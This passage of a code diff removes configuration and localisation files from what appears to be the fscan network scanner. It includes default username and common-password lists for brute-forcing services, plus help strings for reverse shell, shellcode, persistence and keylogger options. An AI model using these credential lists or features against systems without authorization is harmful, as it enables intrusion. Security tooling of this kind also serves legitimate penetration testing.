Output *OutputConfig `json:"output"`
Network *NetworkConfig `json:"network"`
LastUpdated time.Time `json:"last_updated"`
}

View File

@ -1,192 +0,0 @@
package config
// 默认探测器列表
var DefaultProbeMap = []string{
"GenericLines",
"GetRequest",
"TLSSessionReq",
"SSLSessionReq",
"ms-sql-s",
"JavaRMI",
"LDAPSearchReq",
"LDAPBindReq",
"oracle-tns",
"Socks5",
}
// 默认端口映射关系
var DefaultPortMap = map[int][]string{
1: {"GetRequest", "Help"},
7: {"Help"},
21: {"GenericLines", "Help"},
23: {"GenericLines", "tn3270"},
25: {"Hello", "Help"},
35: {"GenericLines"},
42: {"SMBProgNeg"},
43: {"GenericLines"},
53: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
70: {"GetRequest"},
79: {"GenericLines", "GetRequest", "Help"},
80: {"GetRequest", "HTTPOptions", "RTSPRequest", "X11Probe", "FourOhFourRequest"},
81: {"GetRequest", "HTTPOptions", "RPCCheck", "FourOhFourRequest"},
82: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
83: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
84: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
85: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
88: {"GetRequest", "Kerberos", "SMBProgNeg", "FourOhFourRequest"},
98: {"GenericLines"},
110: {"GenericLines"},
111: {"RPCCheck"},
113: {"GenericLines", "GetRequest", "Help"},
119: {"GenericLines", "Help"},
130: {"NotesRPC"},
135: {"DNSVersionBindReqTCP", "SMBProgNeg"},
139: {"GetRequest", "SMBProgNeg"},
143: {"GetRequest"},
175: {"NJE"},
199: {"GenericLines", "RPCCheck", "Socks5", "Socks4"},
214: {"GenericLines"},
264: {"GenericLines"},
311: {"LDAPSearchReq"},
340: {"GenericLines"},
389: {"LDAPSearchReq", "LDAPBindReq"},
443: {"GetRequest", "HTTPOptions", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
444: {"GetRequest", "HTTPOptions", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
445: {"SMBProgNeg"},
465: {"Hello", "Help", "GetRequest", "HTTPOptions", "SSLSessionReq", "TerminalServerCookie"},
502: {"GenericLines"},
503: {"GenericLines"},
513: {"GenericLines"},
514: {"GenericLines"},
515: {"LPDString"},
544: {"GenericLines"},
548: {"afp"},
554: {"GetRequest"},
563: {"GenericLines"},
587: {"Hello", "Help"},
631: {"GetRequest", "HTTPOptions"},
636: {"LDAPSearchReq", "LDAPBindReq", "SSLSessionReq"},
646: {"LDAPSearchReq", "RPCCheck"},
691: {"GenericLines"},
873: {"GenericLines"},
898: {"GetRequest"},
993: {"GenericLines", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
995: {"GenericLines", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
1080: {"GenericLines", "Socks5", "Socks4"},
1099: {"JavaRMI"},
1234: {"SqueezeCenter_CLI"},
1311: {"GenericLines"},
1352: {"oracle-tns"},
1414: {"ibm-mqseries"},
1433: {"ms-sql-s"},
1521: {"oracle-tns"},
1723: {"GenericLines"},
1883: {"mqtt"},
1911: {"oracle-tns"},
2000: {"GenericLines", "oracle-tns"},
2049: {"RPCCheck"},
2121: {"GenericLines", "Help"},
2181: {"GenericLines"},
2222: {"GetRequest", "GenericLines", "HTTPOptions", "Help", "SSH", "TerminalServerCookie"},
2375: {"docker", "GetRequest", "HTTPOptions"},
2376: {"docker", "GetRequest", "HTTPOptions", "SSLSessionReq"},
2484: {"oracle-tns"},
2628: {"dominoconsole"},
3000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
3268: {"LDAPSearchReq", "LDAPBindReq"},
3269: {"LDAPSearchReq", "LDAPBindReq", "SSLSessionReq"},
3306: {"GenericLines", "GetRequest", "HTTPOptions"},
3389: {"TerminalServerCookie", "TerminalServer"},
3690: {"GenericLines"},
4000: {"GenericLines"},
4369: {"epmd"},
4444: {"GenericLines"},
4840: {"GenericLines"},
5000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
5050: {"GenericLines"},
5060: {"SIPOptions"},
5222: {"GenericLines"},
5432: {"GenericLines"},
5555: {"GenericLines"},
5560: {"GenericLines", "oracle-tns"},
5631: {"GenericLines", "PCWorkstation"},
5672: {"GenericLines"},
5984: {"GetRequest", "HTTPOptions"},
6000: {"X11Probe"},
6379: {"redis-server"},
6432: {"GenericLines"},
6667: {"GenericLines"},
7000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
7001: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
7002: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
7070: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
7443: {"GetRequest", "HTTPOptions", "SSLSessionReq"},
7777: {"GenericLines", "oracle-tns"},
8000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "iperf3"},
8005: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
8008: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
8009: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "ajp"},
8080: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
8081: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
8089: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
8090: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
8443: {"GetRequest", "HTTPOptions", "SSLSessionReq"},
8888: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
9000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
9042: {"GenericLines"},
9092: {"GenericLines", "kafka"},
9200: {"GetRequest", "HTTPOptions", "elasticsearch"},
9300: {"GenericLines"},
9999: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "adbConnect"},
10000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
10051: {"GenericLines"},
11211: {"Memcache"},
15672: {"GetRequest", "HTTPOptions"},
27017: {"mongodb"},
27018: {"mongodb"},
50070: {"GetRequest", "HTTPOptions"},
61616: {"GenericLines"},
}
// 默认服务用户字典
var DefaultUserDict = map[string][]string{
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
"mysql": {"root", "mysql"},
"mssql": {"sa", "sql"},
"smb": {"administrator", "admin", "guest"},
"rdp": {"administrator", "admin", "guest"},
"postgresql": {"postgres", "admin"},
"ssh": {"root", "admin"},
"mongodb": {"root", "admin"},
"oracle": {"sys", "system", "admin", "test", "web", "orcl"},
"telnet": {"root", "admin", "test"},
"elastic": {"elastic", "admin", "kibana"},
"rabbitmq": {"guest", "admin", "administrator", "rabbit", "rabbitmq", "root"},
"kafka": {"admin", "kafka", "root", "test"},
"activemq": {"admin", "root", "activemq", "system", "user"},
"ldap": {"admin", "administrator", "root", "cn=admin", "cn=administrator", "cn=manager"},
"smtp": {"admin", "root", "postmaster", "mail", "smtp", "administrator"},
"imap": {"admin", "mail", "postmaster", "root", "user", "test"},
"pop3": {"admin", "root", "mail", "user", "test", "postmaster"},
"zabbix": {"Admin", "admin", "guest", "user"},
"rsync": {"rsync", "root", "admin", "backup"},
"cassandra": {"cassandra", "admin", "root", "system"},
"neo4j": {"neo4j", "admin", "root", "test"},
}
// 默认密码字典
var DefaultPasswords = []string{
"123456", "admin", "admin123", "root", "", "pass123", "pass@123",
"password", "Password", "P@ssword123", "123123", "654321", "111111",
"123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}",
"{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123",
"{user}#123", "{user}@111", "{user}@2019", "{user}@123#4",
"P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test",
"test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666",
"a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888",
"!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111",
"a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123",
"Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ",
"2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456",
"1q2w3e", "Charge123", "Aa123456789", "elastic123",
}

View File

@ -1,196 +0,0 @@
package common
import (
"sync"
"time"
"github.com/schollz/progressbar/v3"
"github.com/shadow1ng/fscan/common/base"
"github.com/shadow1ng/fscan/common/logging"
)
/*
globals.go - 全局变量定义
使用线程安全的配置管理消除双向同步机制直接使用core包作为唯一数据源
保持向后兼容的同时提供并发安全的访问
*/
// =============================================================================
// 版本信息
// =============================================================================
var version = "2.2.1"
// =============================================================================
// 简化的全局状态管理(仅保留必要的同步机制)
// =============================================================================
// globalState已简化因为大部分管理函数未被使用
// 保留基本的时间记录用于向后兼容
var startTimeInit = time.Now()
// =============================================================================
// 核心扫描配置 - 直接使用core包变量单一数据源
// =============================================================================
var (
ScanMode string // 直接映射到base.ScanMode
ThreadNum int // 直接映射到base.ThreadNum
Timeout int64 // 直接映射到base.Timeout
DisablePing bool // 直接映射到base.DisablePing
LocalMode bool // 直接映射到base.LocalMode
LocalPlugin string // 本地插件选择
AliveOnly bool // 仅存活探测模式
)
// =============================================================================
// 基础认证配置 - 直接使用core包变量
// =============================================================================
var (
Username string // 直接映射到base.Username
Password string // 直接映射到base.Password
Userdict map[string][]string // 直接映射到base.Userdict
Passwords []string // 直接映射到base.Passwords
)
// =============================================================================
// 网络配置 - 直接使用core包变量
// =============================================================================
var (
HttpProxy string // 直接映射到base.HttpProxy
Socks5Proxy string // 直接映射到base.Socks5Proxy
)
// =============================================================================
// 显示控制 - 直接使用core包变量
// =============================================================================
var (
NoColor bool // 直接映射到base.NoColor
Language string // 直接映射到base.Language
LogLevel string // 直接映射到base.LogLevel
// 进度条控制
ShowProgress bool // 计算得出:!DisableProgress
)
// =============================================================================
// 端口映射 - 直接使用core包变量
// =============================================================================
var (
PortMap map[int][]string // 直接映射到base.PortMap
DefaultMap []string // 直接映射到base.DefaultMap
)
// =============================================================================
// 线程安全的输出状态管理(已移除未使用的函数)
// =============================================================================
// 注意GetOutputfile, SetOutputfile, GetOutputFormat, SetOutputFormat,
// GetProgressBar, SetProgressBar, GetStats, SetStats, IncrementNum等函数
// 已根据死代码分析移除,因为它们在代码库中没有被使用。
// 如有需要,可以通过直接访问向后兼容的全局变量实现相同功能。
// =============================================================================
// 核心配置同步(线程安全)
// =============================================================================
// SyncFromCore 从core包同步配置到common包读操作
func SyncFromCore() {
ScanMode = base.ScanMode
ThreadNum = base.ThreadNum
Timeout = base.Timeout
DisablePing = base.DisablePing
LocalMode = base.LocalMode
LocalPlugin = base.LocalPlugin
Username = base.Username
Password = base.Password
Userdict = base.Userdict
Passwords = base.Passwords
HttpProxy = base.HttpProxy
Socks5Proxy = base.Socks5Proxy
NoColor = base.NoColor
Language = base.Language
LogLevel = base.LogLevel
PortMap = base.PortMap
DefaultMap = base.DefaultMap
}
// SyncToCore 同步common包配置到core包写操作
func SyncToCore() {
base.ScanMode = ScanMode
base.ThreadNum = ThreadNum
base.Timeout = Timeout
base.DisablePing = DisablePing
base.LocalMode = LocalMode
base.LocalPlugin = LocalPlugin
base.Username = Username
base.Password = Password
base.Userdict = Userdict
base.Passwords = Passwords
base.HttpProxy = HttpProxy
base.Socks5Proxy = Socks5Proxy
base.NoColor = NoColor
base.Language = Language
base.LogLevel = LogLevel
base.PortMap = PortMap
base.DefaultMap = DefaultMap
}
// =============================================================================
// 向后兼容的全局变量
// =============================================================================
var (
// 输出配置(向后兼容)
Outputfile string
OutputFormat string
ProgressBar *progressbar.ProgressBar
OutputMutex sync.Mutex
// 统计信息(向后兼容)
Num, End int64
StartTime = time.Now()
)
// =============================================================================
// 日志级别常量
// =============================================================================
const (
LogLevelAll = string(logging.LevelAll)
LogLevelError = string(logging.LevelError)
LogLevelBase = string(logging.LevelBase)
LogLevelInfo = string(logging.LevelInfo)
LogLevelSuccess = string(logging.LevelSuccess)
LogLevelDebug = string(logging.LevelDebug)
LogLevelInfoSuccess = string(logging.LevelInfoSuccess)
LogLevelBaseInfoSuccess = string(logging.LevelBaseInfoSuccess)
)
// =============================================================================
// 初始化
// =============================================================================
func init() {
// 初始化core包配置
base.InitGlobalConfig()
// 从core包同步初始配置
SyncFromCore()
// 初始化向后兼容的时间变量
StartTime = startTimeInit
}

View File

@ -1,58 +0,0 @@
package common
import (
"fmt"
"strconv"
)
// HostInfoHelper 提供HostInfo的辅助方法
// 使用函数而不是方法,保持向后兼容
// GetPort 获取端口号(转换为整数)
func GetPort(h *HostInfo) (int, error) {
if h.Ports == "" {
return 0, fmt.Errorf("端口未设置")
}
return strconv.Atoi(h.Ports)
}
// IsWebTarget 判断是否为Web目标
func IsWebTarget(h *HostInfo) bool {
return h.Url != ""
}
// HasPort 检查是否设置了端口
func HasPort(h *HostInfo) bool {
return h.Ports != ""
}
// ValidateHostInfo 验证HostInfo的有效性
func ValidateHostInfo(h *HostInfo) error {
if h.Host == "" && h.Url == "" {
return fmt.Errorf("主机地址或URL必须至少指定一个")
}
// 验证端口格式(如果指定了)
if h.Ports != "" {
if _, err := GetPort(h); err != nil {
return fmt.Errorf("端口格式无效: %v", err)
}
}
return nil
}
// HostInfoString 返回HostInfo的字符串表示
func HostInfoString(h *HostInfo) string {
if IsWebTarget(h) {
return h.Url
}
if HasPort(h) {
return fmt.Sprintf("%s:%s", h.Host, h.Ports)
}
return h.Host
}

View File

@ -1,48 +0,0 @@
package i18n
import (
"github.com/shadow1ng/fscan/common/i18n/messages"
)
/*
init.go - 国际化模块统一初始化
自动加载所有分类消息到全局管理器
确保所有消息在程序启动时正确注册
*/
// init 统一初始化所有国际化消息
func init() {
// 按类别依次加载所有消息
loadAllMessages()
}
// loadAllMessages 加载所有分类的消息
func loadAllMessages() {
// 加载核心系统消息
AddMessages(messages.CoreMessages)
// 加载解析相关消息
AddMessages(messages.ParseMessages)
// 加载配置相关消息
AddMessages(messages.ConfigMessages)
// 加载扫描相关消息
AddMessages(messages.ScanMessages)
// 加载网络相关消息
AddMessages(messages.NetworkMessages)
// 加载输出相关消息
AddMessages(messages.OutputMessages)
// 加载通用错误消息
AddMessages(messages.ErrorMessages)
// 加载命令行参数消息
AddMessages(messages.FlagMessages)
// 加载插件相关消息
AddMessages(messages.PluginMessages)
}

View File

@ -1,220 +0,0 @@
package i18n
import (
"fmt"
"sync"
)
/*
manager.go - 国际化管理器
提供统一的国际化文本管理支持多语言动态切换
包含完整的消息库和高效的文本查询机制
*/
// =============================================================================
// 常量定义
// =============================================================================
// 支持的语言常量
const (
LangZH = "zh" // 中文
LangEN = "en" // 英文
)
// 默认配置
const (
DefaultLanguage = LangZH // 默认语言
FallbackLanguage = LangEN // 回退语言
)
// =============================================================================
// 国际化管理器
// =============================================================================
// Manager 国际化管理器
type Manager struct {
mu sync.RWMutex
currentLanguage string
fallbackLanguage string
messages map[string]map[string]string
enabled bool
}
// 全局管理器实例
var globalManager = NewManager()
// NewManager 创建新的国际化管理器
func NewManager() *Manager {
return &Manager{
currentLanguage: DefaultLanguage,
fallbackLanguage: FallbackLanguage,
messages: make(map[string]map[string]string),
enabled: true,
}
}
// =============================================================================
// 基础管理方法
// =============================================================================
// SetLanguage 设置当前语言
func (m *Manager) SetLanguage(lang string) {
m.mu.Lock()
defer m.mu.Unlock()
m.currentLanguage = lang
}
// SetFallbackLanguage 设置回退语言
func (m *Manager) SetFallbackLanguage(lang string) {
m.mu.Lock()
defer m.mu.Unlock()
m.fallbackLanguage = lang
}
// Enable 启用国际化
func (m *Manager) Enable() {
m.mu.Lock()
defer m.mu.Unlock()
m.enabled = true
}
// =============================================================================================
// 已删除的死代码函数未使用GetLanguage, Disable
// =============================================================================================
// IsEnabled 检查是否启用国际化
func (m *Manager) IsEnabled() bool {
m.mu.RLock()
defer m.mu.RUnlock()
return m.enabled
}
// =============================================================================
// 消息管理方法
// =============================================================================
// AddMessages 批量添加消息
func (m *Manager) AddMessages(messages map[string]map[string]string) {
m.mu.Lock()
defer m.mu.Unlock()
for key, translations := range messages {
m.messages[key] = translations
}
}
// GetMessage 获取指定键和语言的消息
func (m *Manager) GetMessage(key, lang string) (string, bool) {
m.mu.RLock()
defer m.mu.RUnlock()
if translations, exists := m.messages[key]; exists {
if message, exists := translations[lang]; exists {
return message, true
}
}
return "", false
}
// =============================================================================================
// 已删除的死代码函数(未使用):
// AddMessage, HasMessage, GetAllMessages, GetMessageCount, GetSupportedLanguages
// =============================================================================================
// =============================================================================
// 文本获取方法
// =============================================================================
// GetText 获取国际化文本(支持格式化)
func (m *Manager) GetText(key string, args ...interface{}) string {
if !m.IsEnabled() {
// 如果禁用国际化,返回原始键名
if len(args) > 0 {
return fmt.Sprintf(key, args...)
}
return key
}
m.mu.RLock()
currentLang := m.currentLanguage
fallbackLang := m.fallbackLanguage
m.mu.RUnlock()
// 尝试获取当前语言的消息
if message, exists := m.GetMessage(key, currentLang); exists {
if len(args) > 0 {
return fmt.Sprintf(message, args...)
}
return message
}
// 回退到回退语言
if currentLang != fallbackLang {
if message, exists := m.GetMessage(key, fallbackLang); exists {
if len(args) > 0 {
return fmt.Sprintf(message, args...)
}
return message
}
}
// 如果都没找到,返回键名作为兜底
if len(args) > 0 {
return fmt.Sprintf(key, args...)
}
return key
}
// =============================================================================================
// 已删除的死代码函数未使用GetTextWithLanguage
// =============================================================================================
// =============================================================================
// 全局访问函数
// =============================================================================
// SetLanguage 设置全局语言
func SetLanguage(lang string) {
globalManager.SetLanguage(lang)
}
// AddMessages 批量添加消息到全局管理器
func AddMessages(messages map[string]map[string]string) {
globalManager.AddMessages(messages)
}
// GetText 从全局管理器获取国际化文本
func GetText(key string, args ...interface{}) string {
return globalManager.GetText(key, args...)
}
// GetExploitMethodName 获取利用方法的本地化名称
func GetExploitMethodName(methodName string) string {
// 尝试获取本地化的方法名称
key := fmt.Sprintf("exploit_method_name_%s", methodName)
localizedName := globalManager.GetText(key)
// 如果没有找到对应的本地化名称,返回原始名称
if localizedName == key {
return methodName
}
return localizedName
}
// =============================================================================================
// 已删除的死代码函数(未使用):
// GetGlobalManager, GetLanguage, AddMessage, GetTextWithLanguage,
// Enable, Disable, IsEnabled, HasMessage, GetMessageCount, GetSupportedLanguages
// =============================================================================================
// =============================================================================
// 初始化函数
// =============================================================================
// init 初始化全局国际化管理器
func init() {
// 设置默认配置
globalManager.SetLanguage(DefaultLanguage)
globalManager.SetFallbackLanguage(FallbackLanguage)
globalManager.Enable()
}

View File

@ -1,79 +0,0 @@
package messages
/*
config.go - 配置相关消息
包含配置管理验证同步等相关的
国际化消息定义
*/
// ConfigMessages 配置相关消息
var ConfigMessages = map[string]map[string]string{
// ========================= 配置相关消息 =========================
"config_sync_start": {
LangZH: "开始同步配置",
LangEN: "Starting configuration sync",
},
"config_sync_complete": {
LangZH: "配置同步完成",
LangEN: "Configuration sync completed",
},
"config_validation_start": {
LangZH: "开始配置验证",
LangEN: "Starting configuration validation",
},
"config_validation_complete": {
LangZH: "配置验证完成",
LangEN: "Configuration validation completed",
},
"config_invalid_scan_mode": {
LangZH: "无效的扫描模式: %s",
LangEN: "Invalid scan mode: %s",
},
"config_invalid_thread_num": {
LangZH: "无效的线程数: %d",
LangEN: "Invalid thread number: %d",
},
"config_invalid_timeout": {
LangZH: "无效的超时时间: %v",
LangEN: "Invalid timeout: %v",
},
"config_invalid_proxy": {
LangZH: "无效的代理配置: %s",
LangEN: "Invalid proxy configuration: %s",
},
"config_missing_required": {
LangZH: "缺少必需的配置项: %s",
LangEN: "Missing required configuration: %s",
},
"config_load_default": {
LangZH: "加载默认配置",
LangEN: "Loading default configuration",
},
"config_override_detected": {
LangZH: "检测到配置覆盖: %s",
LangEN: "Configuration override detected: %s",
},
"config_web_timeout_warning": {
LangZH: "Web超时时间大于普通超时时间可能导致不期望的行为",
LangEN: "Web timeout is larger than normal timeout, may cause unexpected behavior",
},
// ========================= 验证相关消息 =========================
"validation_start": {
LangZH: "开始配置验证",
LangEN: "Starting configuration validation",
},
"validation_complete": {
LangZH: "配置验证完成",
LangEN: "Configuration validation completed",
},
"validation_warning": {
LangZH: "验证警告: %s",
LangEN: "Validation warning: %s",
},
"validation_error": {
LangZH: "验证错误: %s",
LangEN: "Validation error: %s",
},
}

View File

@ -1,13 +0,0 @@
package messages
/*
constants.go - 消息包常量定义
包含消息包中使用的语言常量避免循环导入问题
*/
// 语言常量
const (
LangZH = "zh" // 中文
LangEN = "en" // 英文
)

View File

@ -1,93 +0,0 @@
package messages
/*
core.go - 核心系统消息
包含系统核心功能的国际化消息包括扫描流程
系统状态通用错误等基础消息
*/
// CoreMessages 核心系统消息
var CoreMessages = map[string]map[string]string{
// ========================= 系统状态消息 =========================
"status_scan_start": {
LangZH: "开始扫描",
LangEN: "Starting scan",
},
"status_scan_complete": {
LangZH: "扫描完成",
LangEN: "Scan completed",
},
"status_scan_progress": {
LangZH: "扫描进度: %d/%d",
LangEN: "Scan progress: %d/%d",
},
"status_target_found": {
LangZH: "发现目标: %s",
LangEN: "Target found: %s",
},
"status_service_detected": {
LangZH: "检测到服务: %s",
LangEN: "Service detected: %s",
},
"status_vuln_found": {
LangZH: "发现漏洞: %s",
LangEN: "Vulnerability found: %s",
},
"status_connection_failed": {
LangZH: "连接失败: %s",
LangEN: "Connection failed: %s",
},
"status_timeout": {
LangZH: "连接超时: %s",
LangEN: "Connection timeout: %s",
},
// ========================= 通用状态消息 =========================
"status_initializing": {
LangZH: "正在初始化...",
LangEN: "Initializing...",
},
"status_processing": {
LangZH: "正在处理...",
LangEN: "Processing...",
},
"status_completed": {
LangZH: "已完成",
LangEN: "Completed",
},
"status_failed": {
LangZH: "失败",
LangEN: "Failed",
},
"status_cancelled": {
LangZH: "已取消",
LangEN: "Cancelled",
},
"status_ready": {
LangZH: "就绪",
LangEN: "Ready",
},
// ========================= 文件操作消息 =========================
"file_read_start": {
LangZH: "开始读取文件: %s",
LangEN: "Starting to read file: %s",
},
"file_read_complete": {
LangZH: "文件读取完成: %s",
LangEN: "File reading completed: %s",
},
"file_read_error": {
LangZH: "读取文件错误: %s",
LangEN: "File reading error: %s",
},
"file_not_exist": {
LangZH: "文件不存在: %s",
LangEN: "File does not exist: %s",
},
"file_empty": {
LangZH: "文件为空: %s",
LangEN: "File is empty: %s",
},
}

View File

@ -1,33 +0,0 @@
package messages
/*
error.go - 通用错误消息
包含通用错误异常处理等相关的
国际化消息定义
*/
// ErrorMessages 通用错误消息
var ErrorMessages = map[string]map[string]string{
// ========================= 通用错误消息 =========================
"error_occurred": {
LangZH: "错误: %v",
LangEN: "Error: %v",
},
"error_unknown": {
LangZH: "未知错误",
LangEN: "Unknown error",
},
"error_not_implemented": {
LangZH: "功能未实现",
LangEN: "Feature not implemented",
},
"error_permission_denied": {
LangZH: "权限不足",
LangEN: "Permission denied",
},
"error_resource_busy": {
LangZH: "资源忙碌",
LangEN: "Resource busy",
},
}

View File

@ -1,273 +0,0 @@
package messages
/*
flag.go - 命令行参数消息
包含命令行参数帮助信息等相关的
国际化消息定义
*/
// FlagMessages 命令行参数消息
var FlagMessages = map[string]map[string]string{
// ========================= Flag参数帮助消息 =========================
"flag_host": {
LangZH: "目标主机: IP, IP段, IP段文件, 域名",
LangEN: "Target host: IP, IP range, IP file, domain",
},
"flag_exclude_hosts": {
LangZH: "排除主机",
LangEN: "Exclude hosts",
},
"flag_ports": {
LangZH: "端口: 默认1000个常用端口",
LangEN: "Ports: default 1000 common ports",
},
"flag_exclude_ports": {
LangZH: "排除端口",
LangEN: "Exclude ports",
},
"flag_hosts_file": {
LangZH: "主机文件",
LangEN: "Hosts file",
},
"flag_ports_file": {
LangZH: "端口文件",
LangEN: "Ports file",
},
"flag_scan_mode": {
LangZH: "扫描模式: all(全部), icmp(存活探测), 或指定插件名称",
LangEN: "Scan mode: all(all plugins), icmp(alive detection), or specific plugin names",
},
"flag_thread_num": {
LangZH: "端口扫描线程数",
LangEN: "Port scan thread count",
},
"flag_timeout": {
LangZH: "端口扫描超时时间",
LangEN: "Port scan timeout",
},
"flag_module_thread_num": {
LangZH: "模块线程数",
LangEN: "Module thread count",
},
"flag_global_timeout": {
LangZH: "全局超时时间",
LangEN: "Global timeout",
},
"flag_live_top": {
LangZH: "存活主机显示数量",
LangEN: "Live hosts display count",
},
"flag_disable_ping": {
LangZH: "禁用ping探测",
LangEN: "Disable ping detection",
},
"flag_enable_fingerprint": {
LangZH: "启用指纹识别",
LangEN: "Enable fingerprinting",
},
"flag_local_mode": {
LangZH: "本地扫描模式",
LangEN: "Local scan mode",
},
"flag_alive_only": {
LangZH: "仅进行存活探测",
LangEN: "Alive detection only",
},
"param_conflict_ao_icmp_both": {
LangZH: "提示: 同时指定了 -ao 和 -m icmp两者功能相同使用存活探测模式",
LangEN: "Note: Both -ao and -m icmp specified, both enable alive detection mode",
},
"flag_username": {
LangZH: "用户名",
LangEN: "Username",
},
"flag_password": {
LangZH: "密码",
LangEN: "Password",
},
"flag_add_users": {
LangZH: "额外用户名",
LangEN: "Additional usernames",
},
"flag_add_passwords": {
LangZH: "额外密码",
LangEN: "Additional passwords",
},
"flag_users_file": {
LangZH: "用户名字典文件",
LangEN: "Username dictionary file",
},
"flag_passwords_file": {
LangZH: "密码字典文件",
LangEN: "Password dictionary file",
},
"flag_hash_file": {
LangZH: "哈希文件",
LangEN: "Hash file",
},
"flag_hash_value": {
LangZH: "哈希值",
LangEN: "Hash value",
},
"flag_domain": {
LangZH: "域名",
LangEN: "Domain name",
},
"flag_ssh_key": {
LangZH: "SSH私钥文件",
LangEN: "SSH private key file",
},
"flag_target_url": {
LangZH: "目标URL",
LangEN: "Target URL",
},
"flag_urls_file": {
LangZH: "URL文件",
LangEN: "URLs file",
},
"flag_cookie": {
LangZH: "HTTP Cookie",
LangEN: "HTTP Cookie",
},
"flag_web_timeout": {
LangZH: "Web超时时间",
LangEN: "Web timeout",
},
"flag_http_proxy": {
LangZH: "HTTP代理",
LangEN: "HTTP proxy",
},
"flag_poc_path": {
LangZH: "POC脚本路径",
LangEN: "POC script path",
},
"flag_poc_name": {
LangZH: "POC名称",
LangEN: "POC name",
},
"flag_poc_full": {
LangZH: "全量POC扫描",
LangEN: "Full POC scan",
},
"flag_dns_log": {
LangZH: "DNS日志记录",
LangEN: "DNS logging",
},
"flag_poc_num": {
LangZH: "POC并发数",
LangEN: "POC concurrency",
},
"flag_no_poc": {
LangZH: "禁用POC扫描",
LangEN: "Disable POC scan",
},
"flag_redis_file": {
LangZH: "Redis文件",
LangEN: "Redis file",
},
"flag_redis_shell": {
LangZH: "Redis Shell",
LangEN: "Redis Shell",
},
"flag_redis_write_path": {
LangZH: "Redis写入路径",
LangEN: "Redis write path",
},
"flag_redis_write_content": {
LangZH: "Redis写入内容",
LangEN: "Redis write content",
},
"flag_redis_write_file": {
LangZH: "Redis写入文件",
LangEN: "Redis write file",
},
"flag_disable_brute": {
LangZH: "禁用暴力破解",
LangEN: "Disable brute force",
},
"flag_max_retries": {
LangZH: "最大重试次数",
LangEN: "Maximum retries",
},
"flag_output_file": {
LangZH: "输出文件",
LangEN: "Output file",
},
"flag_output_format": {
LangZH: "输出格式: txt, json, csv",
LangEN: "Output format: txt, json, csv",
},
"flag_disable_save": {
LangZH: "禁用结果保存",
LangEN: "Disable result saving",
},
"flag_silent_mode": {
LangZH: "静默模式",
LangEN: "Silent mode",
},
"flag_no_color": {
LangZH: "禁用颜色输出",
LangEN: "Disable color output",
},
"flag_log_level": {
LangZH: "日志级别",
LangEN: "Log level",
},
"flag_disable_progress": {
LangZH: "禁用进度条",
LangEN: "Disable progress bar",
},
"flag_shellcode": {
LangZH: "Shellcode",
LangEN: "Shellcode",
},
"flag_reverse_shell_target": {
LangZH: "反弹Shell目标地址:端口 (如: 192.168.1.100:4444)",
LangEN: "Reverse shell target address:port (e.g.: 192.168.1.100:4444)",
},
"flag_socks5_proxy": {
LangZH: "使用SOCKS5代理 (如: 127.0.0.1:1080)",
LangEN: "Use SOCKS5 proxy (e.g.: 127.0.0.1:1080)",
},
"flag_start_socks5_server": {
LangZH: "启动SOCKS5代理服务器端口 (如: 1080)",
LangEN: "Start SOCKS5 proxy server on port (e.g.: 1080)",
},
"flag_forward_shell_port": {
LangZH: "启动正向Shell服务器端口 (如: 4444)",
LangEN: "Start forward shell server on port (e.g.: 4444)",
},
"flag_persistence_file": {
LangZH: "Linux持久化目标文件路径 (支持.elf/.sh文件)",
LangEN: "Linux persistence target file path (supports .elf/.sh files)",
},
"flag_win_pe_file": {
LangZH: "Windows持久化目标PE文件路径 (支持.exe/.dll文件)",
LangEN: "Windows persistence target PE file path (supports .exe/.dll files)",
},
"flag_keylogger_output": {
LangZH: "键盘记录输出文件路径",
LangEN: "Keylogger output file path",
},
"flag_download_url": {
LangZH: "要下载的文件URL",
LangEN: "URL of the file to download",
},
"flag_download_path": {
LangZH: "下载文件保存路径",
LangEN: "Save path for downloaded file",
},
"flag_language": {
LangZH: "语言: zh, en",
LangEN: "Language: zh, en",
},
"flag_help": {
LangZH: "显示帮助信息",
LangEN: "Show help information",
},
"flag_version": {
LangZH: "显示版本信息",
LangEN: "Show version information",
},
}

View File

@ -1,67 +0,0 @@
package messages
/*
network.go - 网络相关消息
包含网络配置代理设置连接管理等相关的
国际化消息定义
*/
// NetworkMessages 网络相关消息
var NetworkMessages = map[string]map[string]string{
// ========================= 网络配置消息 =========================
"network_http_proxy": {
LangZH: "HTTP代理: %s",
LangEN: "HTTP proxy: %s",
},
"network_socks5_proxy": {
LangZH: "Socks5代理: %s",
LangEN: "Socks5 proxy: %s",
},
"network_timeout": {
